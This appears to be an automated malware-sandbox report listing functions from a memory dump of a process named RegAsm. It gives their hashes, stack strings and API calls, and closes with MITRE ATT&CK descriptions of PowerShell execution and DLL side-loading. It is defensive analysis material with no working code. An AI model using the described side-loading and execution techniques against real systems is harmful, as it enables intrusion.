Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 990ef5858da270fcd5c714f1cbe9946898f94eece37d7b40759dc2b22a897ddf
Instruction ID: b09a89ab5c6bd6caec74fff7b76334741940ee79584cb71c8e44f9d779eadac0
Opcode Fuzzy Hash: 990ef5858da270fcd5c714f1cbe9946898f94eece37d7b40759dc2b22a897ddf
Instruction Fuzzy Hash: 5412BB31A08251CFDB04CF68D8A066FBBF1EF8A315F19882EE58597392D735D910CB96

Function 00407E70 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 455a2def3cd4607b69d4b082b196bca4304fdf693d3f57c27b18c8d8b9c72b05
Instruction ID: d8883f6032b0fcb3f38433067063a771a19ae62be6b80c3b146bdb5a26dcf8d1
Opcode Fuzzy Hash: 455a2def3cd4607b69d4b082b196bca4304fdf693d3f57c27b18c8d8b9c72b05
Instruction Fuzzy Hash: A2320470915B118FC368CF29C69052ABBF1BF85710B604A2ED6D797B90DB3AF845CB18

Function 00409737 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a37c5f3b2a29ae68063d4fa164d6ca2caf11f32dc11329077550f3d7966334
Instruction ID: f47fbb57d13c9069d1454bbcb43e8b3ccbc00d4dd581e02e1339e424f1ba8f71
Opcode Fuzzy Hash: 25a37c5f3b2a29ae68063d4fa164d6ca2caf11f32dc11329077550f3d7966334
Instruction Fuzzy Hash: F632623520D380EFC350CF28D880B5FBBE2AF99305F44896DF585962A2D375D968CB5A

Function 00447EDE Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c3c3a21c1b2ee73e811332f6a8e1be64b185d4f77f219ba96861ff91651a30
Instruction ID: 5549ba11c2e90eb234b7c5423a8fbfb4a77ff2f39bf50e673c9bd4f9aa49bd64
Opcode Fuzzy Hash: a4c3c3a21c1b2ee73e811332f6a8e1be64b185d4f77f219ba96861ff91651a30
Instruction Fuzzy Hash: 9D02EDB5A18255CFDB10CF68E8906BEBBB1FF09322F144579D851A7392C339E941CB94

Function 0040A3C0 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0537d3602b05352d162d47d3b37e8bd64bb5caa79fc0b4c4570d86523830f7e
Instruction ID: 3dfa834cc95e5c00a0169a4d3e9d9aa564f73bc0227f910f465499f90f335f9d
Opcode Fuzzy Hash: e0537d3602b05352d162d47d3b37e8bd64bb5caa79fc0b4c4570d86523830f7e
Instruction Fuzzy Hash: 94F1D036608341CFC724CF29C88166BFBE2AFD9304F08892DE4C597791E679E859CB56

Function 00409A02 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47e641f6539b63304e02ccc8e37126c79fa7862bb363966f8b44626d7d288a8
Instruction ID: e9468965110a56bb6032bd079094f40f30306602c7693c164a2ba2fb52d1037e
Opcode Fuzzy Hash: e47e641f6539b63304e02ccc8e37126c79fa7862bb363966f8b44626d7d288a8
Instruction Fuzzy Hash: 4FE1363520D380EFC350CF28D88064FBBE1AFD9305F48896DF489972A2D674DA65CB5A

Function 0040AFD0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1403e308c14c929368f100250f5dbe3fa0503215152504074aca5edbc24086c7
Instruction ID: 0f752fb7c09d9405a44515831a65da3327b3eea3726c8d910d67014fc478ec9c
Opcode Fuzzy Hash: 1403e308c14c929368f100250f5dbe3fa0503215152504074aca5edbc24086c7
Instruction Fuzzy Hash: FEC158B2A087518FC320CF28C8967ABB7E0EF85318F08492DD5D9D7342D778A555CB8A

Function 00449970 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07db187edf6147d719a46b6995ef8d341e827bc120329527b02f881573074e8e
Instruction ID: 3abc21bc3e95f8a3451e8ced2770bdd05b99c4f40b96798a60550f29323ea1a7
Opcode Fuzzy Hash: 07db187edf6147d719a46b6995ef8d341e827bc120329527b02f881573074e8e
Instruction Fuzzy Hash: D6A1DF75A04246CFDB00CF68E8A166FB7B1FB49312F194479D945A7362C334ED50CB95

Function 004146B5 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c87b0577a19f319f0e9110632791b19f836fd9125dd7ec814634750cc2e76d1
Instruction ID: 30348db68d5ad48780b53f830896320fa6a754e42e300085adc231b94485e5cf
Opcode Fuzzy Hash: 0c87b0577a19f319f0e9110632791b19f836fd9125dd7ec814634750cc2e76d1
Instruction Fuzzy Hash: 13A149B45107419FD3218F29D880B57FBF1EF5A304F24491EE4D997392E33AA894CB99

Function 00413AE6 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce6abbaf5585abdbf9dd583f7fadd13d82129c0f32841ca5fd319ead2268f8f
Instruction ID: 63722bcf266d008e4d2fb854599f640af6bf96e83537b373199111c124b4d8f9
Opcode Fuzzy Hash: 3ce6abbaf5585abdbf9dd583f7fadd13d82129c0f32841ca5fd319ead2268f8f
Instruction Fuzzy Hash: 2E917C716007418FD321CF28D880B67BBF2EF56305F24492ED49697352E739E985CB98

Function 00448F80 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cfbc533af8237bfb87faf514cffbbcd245806f9c3fcdb4a2b25e3d0f958fb9c
Instruction ID: a865c3e9e599e2c5329ba543cd513e4d394582e1008898d159b2fc64aeb1c2dc
Opcode Fuzzy Hash: 4cfbc533af8237bfb87faf514cffbbcd245806f9c3fcdb4a2b25e3d0f958fb9c
Instruction Fuzzy Hash: A5811BB2A042106BF724AA29DC4577B76D9EBC0318F04493EF999D7342EA78EC058756

Function 00415078 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d573fe2f6a3767f09d46f836eae65ef577eb19577032d8ef79d8b00ea0b12847
Instruction ID: 252b9328507afdb69cb8149bd6720b98ca481bb8e256363331bcbe9542f63dac
Opcode Fuzzy Hash: d573fe2f6a3767f09d46f836eae65ef577eb19577032d8ef79d8b00ea0b12847
Instruction Fuzzy Hash: 64818AB0A00701DFD321DF29D880A66B7F5FF9A304F14496EE58687752E339E845CBA9

Function 0042F5B7 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d22ac0c0b173eb1919838105268375d851d508c68cd57ff142b5b389bdcbe304
Instruction ID: b2b5ecf074de91ac914dfd965cb03f707f4f16325c0c4ea283c80723a3d79eb4
Opcode Fuzzy Hash: d22ac0c0b173eb1919838105268375d851d508c68cd57ff142b5b389bdcbe304
Instruction Fuzzy Hash: 8F714A742083518BD710DF18D890B2BB7F0FF96744F94192EE4D19B361D3799909CB9A

Function 004091F0 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe22b2f1523c9728c54192698233e5564d6db77466d882a97c05fe3809ff67cf
Instruction ID: 74377abc01be29dba5f3574a8361ef8460b3e5f34b7c9c05be143a1f22df5017
Opcode Fuzzy Hash: fe22b2f1523c9728c54192698233e5564d6db77466d882a97c05fe3809ff67cf
Instruction Fuzzy Hash: C2619A79609302CFD318CF25D8903AAB7E2FB89306F08C97CE984822A5C779D959DF45

Function 0043EF50 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75c3e7660cebeb35403fb5e171a61a3583f9db5666e03dd2ca4b7871bec4d933
Instruction ID: c00be4d41a0304ea6ce13eecc6499725f03711e281a0341f2dbc33ca0e0599d6
Opcode Fuzzy Hash: 75c3e7660cebeb35403fb5e171a61a3583f9db5666e03dd2ca4b7871bec4d933
Instruction Fuzzy Hash: 26515EB19087548FE714DF29D89435BBBE1BBC8318F444A2EE4E587351E379DA088F86

Function 00438C00 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d72acbbd7377a4364bca26e5100232256b15d0ea39b950b589fe2db1b198ccfd
Instruction ID: cf93265e453f1b4f50de29a8b8c3f842b101a0cdbe79ed852c4bee78df836707
Opcode Fuzzy Hash: d72acbbd7377a4364bca26e5100232256b15d0ea39b950b589fe2db1b198ccfd
Instruction Fuzzy Hash: 6A51193A60979147D718593C5C113B9EA434BAB334F2DA36FF9B2473D1CA1D48065399

Function 00405D20 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fb784b57021d17c2da16b2eb1e48beda536bd8e8057a2e69ade5c5409e6bff6
Instruction ID: a8df0a3c83d2a2110b9e98db97d42556f66ce4b46fc752b3147b0d49ab485b89
Opcode Fuzzy Hash: 3fb784b57021d17c2da16b2eb1e48beda536bd8e8057a2e69ade5c5409e6bff6
Instruction Fuzzy Hash: B35190B5A046019FC714DF18C480927B7A1FF85324F19467EF899AB392D639EC42CF9A

Function 00449B60 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d0137ac8db55894e61deab45fae808b6956607a8738703e62f5a3786923e60
Instruction ID: 6773b3426544a07c00623eb10f663d771092178658317beae7ed4357cd2a5b97
Opcode Fuzzy Hash: 61d0137ac8db55894e61deab45fae808b6956607a8738703e62f5a3786923e60
Instruction Fuzzy Hash: 87418A35A14212CFDB44CFA8E9E166EB3B1FB49312F19407AD905A7362C774EE20CB65

Function 00411420 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b423ebadf1592669d7d863c5a3ee5f5f2eab39b8738c23b7edf78d6bbbe3fc
Instruction ID: 56fe226764b8c279c2f95357b1d9cf27a8c0a2024e96dee972e1ff8b9330b8b4
Opcode Fuzzy Hash: b2b423ebadf1592669d7d863c5a3ee5f5f2eab39b8738c23b7edf78d6bbbe3fc
Instruction Fuzzy Hash: 6E4114722183650FD30CDF39889037ABBD2AB89310F098A3EE5E6C73A1E678C945D715

Function 00404C10 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08c903a2774bc6df5269ec9394e4d2b4249a1b345d6e6f96374d041045904a8a
Instruction ID: c79a31c9f9310a5d27d3133cd9e14fd18c2759f751e933cf278d23621f9b5f89
Opcode Fuzzy Hash: 08c903a2774bc6df5269ec9394e4d2b4249a1b345d6e6f96374d041045904a8a
Instruction Fuzzy Hash: 7A31CBB060D2009BE7149F59D884927B7E1EFC5318F15893EE99AA7391D339DC42C74A

Function 0043B510 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: b05e4e55af9010276dd824703dcfe013dc4d2d587545692900b47515503f7f9a
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 7C110633A051D40EC3128D3C8440665BFE34A9B339F1D939AE4B89B2D2D7268D8A8399

Function 004381AA Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f9c2bea97cd4b5019ae85a024de50666d4b8a38e840c2ed61b965e1ee9b65ad
Instruction ID: 9af3802c06223be0731618dc7dbb9ccf8b70dac9e7fe2982a45eb8f2898826f2
Opcode Fuzzy Hash: 4f9c2bea97cd4b5019ae85a024de50666d4b8a38e840c2ed61b965e1ee9b65ad
Instruction Fuzzy Hash: BA21E9F0900B40AFD360EF3AC94674BBEF8EB45350F104A1EF8AA87690D371A4058BD6

Function 00430BD0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 280971b818c92cda73003084fe35fa709fc308098d1831b144d262705e9ce05f
Instruction ID: b670d169a067c456f2208e1d1a858f62b16ae88675da2f6f7e379deb6076660f
Opcode Fuzzy Hash: 280971b818c92cda73003084fe35fa709fc308098d1831b144d262705e9ce05f
Instruction Fuzzy Hash: F70192B570030187E7249E5194E0B3BF2A9AB88718F18273ED40657341DB7DEC05C699

Function 00445D80 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0f5b615599201c8fcbc61bbc80d2da29338f02ce58a985c5e93859dfe3cbdcf
Instruction ID: 127a2d2f99be075313f8e7c8ce123115a8f99d52567ae3d6d9a7df168031d728
Opcode Fuzzy Hash: a0f5b615599201c8fcbc61bbc80d2da29338f02ce58a985c5e93859dfe3cbdcf
Instruction Fuzzy Hash: C71149B0918380AFE704DFA4D54491FFBE4AB82708F50982DF4D487342D739D909CB5A

Function 00407120 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bca8451c7a21ffdc08514427d5aae7525460325ea45c90652cec291e1702db1
Instruction ID: 428b66cca32f92671de047a37f04ba4cdfb14e9a1c088c886c69018fb4604205
Opcode Fuzzy Hash: 2bca8451c7a21ffdc08514427d5aae7525460325ea45c90652cec291e1702db1
Instruction Fuzzy Hash: 14F02B36B582160BD718CE55ECE0D77B366D7CA255B09003EDA42E73C1C974F806D269

Function 0041A880 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a262c98f02bee36f9e7b41f4a9b905533450b75733afa39f2542f44ca0caaf6
Instruction ID: 84a41c4c3f528dc72163e8ca054b40d510caf23feb84efc27826b8445e6de5a1
Opcode Fuzzy Hash: 7a262c98f02bee36f9e7b41f4a9b905533450b75733afa39f2542f44ca0caaf6
Instruction Fuzzy Hash: 0CF0ECB1B0411067DB22B9559CC0FF7BB9CCB87364F190416E84957282E2755CD6C7EB

Function 00442280 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: ca0a47249e4e9b4ad93b56322b99e3a16fb2ee89d7d4b9e5124314e38bcc9f3b
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 57D05E2160862146BB688E19A500977F7E0FAC7B11B89959FF582E3248D274DC41C2AD

Function 004371AB Relevance: 29.8, APIs: 2, Strings: 15, Instructions: 89COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004371C3
VariantInit.OLEAUT32 ref: 004371CF

Strings

(, xrefs: 0043724F
#, xrefs: 00437207
9, xrefs: 004371EF
-, xrefs: 00437247
H, xrefs: 0043723F
?, xrefs: 00437227
e, xrefs: 00437263
0, xrefs: 004371FF
4, xrefs: 00437217
!, xrefs: 0043722F
?, xrefs: 00437237
7, xrefs: 00437257
2, xrefs: 004371F7
V, xrefs: 0043721F
8, xrefs: 0043720F

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$#$($-$0$2$4$7$8$9$?$?$H$V$e
API String ID: 2610073882-164105402
Opcode ID: 7ea49bbc964831e1d19dd7b4cdbf91261241450e64375c5e647d5cd4bb619ec2
Instruction ID: e486607e4b5c263a131017f9b849749757e5c2ed8deb2f4ba38f941ca55cc11a
Opcode Fuzzy Hash: 7ea49bbc964831e1d19dd7b4cdbf91261241450e64375c5e647d5cd4bb619ec2
Instruction Fuzzy Hash: CC41F9600087C18ED726CF2984C8606BFA16F16224F488ADDD8E54F7DBC775D519C7A6

Function 00435993 Relevance: 29.8, APIs: 2, Strings: 15, Instructions: 81COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0043599D
VariantInit.OLEAUT32 ref: 004359A9

Strings

V, xrefs: 004359F9
8, xrefs: 004359E9
#, xrefs: 004359E1
e, xrefs: 00435A3D
?, xrefs: 00435A11
H, xrefs: 00435A19
?, xrefs: 00435A01
(, xrefs: 00435A29
4, xrefs: 004359F1
!, xrefs: 00435A09
2, xrefs: 004359D1
-, xrefs: 00435A21
7, xrefs: 00435A31
9, xrefs: 004359C9
0, xrefs: 004359D9

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$#$($-$0$2$4$7$8$9$?$?$H$V$e
API String ID: 2610073882-164105402
Opcode ID: 1f1cf35395537e64b000c6efbc98a63c107d8345a00cbe81b9758d42e2734ac3
Instruction ID: cdf3b5065cd44c78a25137ca5eabd9af70e9919f95baf298e5e50d8634074577
Opcode Fuzzy Hash: 1f1cf35395537e64b000c6efbc98a63c107d8345a00cbe81b9758d42e2734ac3
Instruction Fuzzy Hash: 1C41E7600087C1CED726DF2C8488606BFA06F26224F488ADDD8E54F7DBC375E519CBA6

Function 00436BEE Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 83COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00436BF4
VariantInit.OLEAUT32 ref: 00436C03

Strings

e, xrefs: 00436C77
s, xrefs: 00436C2F
i, xrefs: 00436C87
w, xrefs: 00436C3F
c, xrefs: 00436C6F
y, xrefs: 00436C47
g, xrefs: 00436C7F
a, xrefs: 00436C67
f, xrefs: 00436C83
u, xrefs: 00436C37
2, xrefs: 00436C43
q, xrefs: 00436C27
{, xrefs: 00436C4F
}, xrefs: 00436C57

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: 2$a$c$e$f$g$i$q$s$u$w$y${$}
API String ID: 2610073882-100263010
Opcode ID: 7a16bc65f0334d1c2e074e8fe1d00586703c7d9acbe3629dff512b6bf4ce12e7
Instruction ID: 27a84024d9b4b92c8d6edf8d148b05a3a7dd72626f3d5901dcadd4859abb0c79
Opcode Fuzzy Hash: 7a16bc65f0334d1c2e074e8fe1d00586703c7d9acbe3629dff512b6bf4ce12e7
Instruction Fuzzy Hash: AD410320408B818ED715DF28C488616BFE1AB16314F088A9DD8EA4F797C379E519CBA2

Function 00437333 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 77COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(04EC839E), ref: 0043733D
VariantInit.OLEAUT32 ref: 0043734C

Strings

u, xrefs: 00437380
f, xrefs: 004373CC
a, xrefs: 004373B0
c, xrefs: 004373B8
y, xrefs: 00437390
{, xrefs: 00437398
2, xrefs: 0043738C
g, xrefs: 004373C8
}, xrefs: 004373A0
i, xrefs: 004373D0
e, xrefs: 004373C0
q, xrefs: 00437370
w, xrefs: 00437388
s, xrefs: 00437378

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: 2$a$c$e$f$g$i$q$s$u$w$y${$}
API String ID: 2610073882-100263010
Opcode ID: 8ebd9f4ed5494e62f42b018d346a7ac36c6e36cd5ee66e56a8b11b3574fb4437
Instruction ID: 1c9f208004a732e118f2501c515b945d844519df74fdbedcee51dd58d27ec161
Opcode Fuzzy Hash: 8ebd9f4ed5494e62f42b018d346a7ac36c6e36cd5ee66e56a8b11b3574fb4437
Instruction Fuzzy Hash: DA41D630508B818ED715DF28C584716BFE1AB16314F088A9DD8EA4F797C379E519CBA2

Function 00428680 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 391COMMON

Download Yara Rule

Strings

dE;G, xrefs: 00428965
D^, xrefs: 00428B4B
L!_#, xrefs: 004289D4, 004289DD
I\, xrefs: 00428B53
AK, xrefs: 00428B3B
8U!W, xrefs: 00428945

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 8U!W$AK$D^$I\$L!_#$dE;G
API String ID: 0-1822214113
Opcode ID: 0c4b37c98de53600dfd4ef16a9103f5cfec24dc3029a504c7249ea61c68bbd43
Instruction ID: e8dc5652ff6eac58c8cff6491874245c63b14013ac8cf1601e891aa925ef3829
Opcode Fuzzy Hash: 0c4b37c98de53600dfd4ef16a9103f5cfec24dc3029a504c7249ea61c68bbd43
Instruction Fuzzy Hash: ADE153B4209340ABD310DF55EA80A1FBBF0EB86B44F50492EF4C59B252D778D905CBAB

Function 004361D5 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00436253

Strings

-, xrefs: 004361F6
0, xrefs: 00436414
1, xrefs: 004361E6
., xrefs: 004361FA
/, xrefs: 004361FE
3, xrefs: 004361EE

Memory Dump Source

Source File: 00000002.00000002.1794976282.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: -$.$/$0$1$3
API String ID: 2525500382-387867814
Opcode ID: 7940db7b379f922317e7e15a24e26e61411b35062eb14db6cbc1a2197edd3dd7
Instruction ID: 660070051efc564603ea8c5fbdd00a6cbbb9cf6a35b09dbfd3aeab06d863ec1c
Opcode Fuzzy Hash: 7940db7b379f922317e7e15a24e26e61411b35062eb14db6cbc1a2197edd3dd7
Instruction Fuzzy Hash: E3919260508BC38AC3268B3C8888605FFA16B67234B4887DDE5F54F7E3D364D586C7A6

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
